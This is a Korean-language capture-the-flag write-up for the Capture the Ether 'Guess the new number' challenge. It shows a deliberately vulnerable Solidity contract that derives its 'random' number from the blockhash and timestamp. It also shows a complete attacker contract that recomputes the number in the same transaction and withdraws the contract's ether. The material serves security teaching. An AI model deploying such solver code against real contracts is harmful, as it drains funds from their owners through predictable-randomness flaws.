Capture the ether-Guess the new number
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}guess를 호출하여 해시값을 맞추어 balance를 0으로 만들라.
풀이
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}guess를 호출하는 시점에 answer를 계산한다. 실행 시점의 block number와 timestamp를 이용해야한다. 이는 어느정도 예측 가능하지만, 스마트 컨트랙트를 이용하면 복잡한 작업 없이 동일한 값을 바로 이용할 수 있으므로 스마트 컨트랙트를 이용해 익스플로잇했다.
remix에서는 어째서인지 blockhash가 실행이 되지 않는 것 같다. 리믹스에서 테스트할 때에는 bytes32(blockhash(block.number - 1)) 대신 bytes32(0)를 이용했다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface GuessTheNewNumberChallenge {
function guess(uint8 n) external payable;
}
contract GuessTheNewNumberSolver {
address payable public owner;
GuessTheNewNumberChallenge public problem;
constructor (address _problem) {
owner = payable(msg.sender);
problem = GuessTheNewNumberChallenge(payable(_problem));
}
function guess() public payable {
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(bytes32(blockhash(block.number - 1)), block.timestamp))));
problem.guess{value: msg.value}(answer);
}
function extract() public {
owner.transfer(address(this).balance);
}
receive() external payable { }
}
다음은 공격 코드이다. answer를 동일한 로직으로 생성하여 컨트랙트를 호출한다. 넣어둔 이더리움을 빼기 위해 extract 함수를 추가했다. 컨트랙트가 이더리움을 받게 하기 위해서는 receive 함수나 fallback 함수가 있어야 하므로 이를 추가했다.
tags: writeup, blockchain, solidity, smart contract, insecure randomness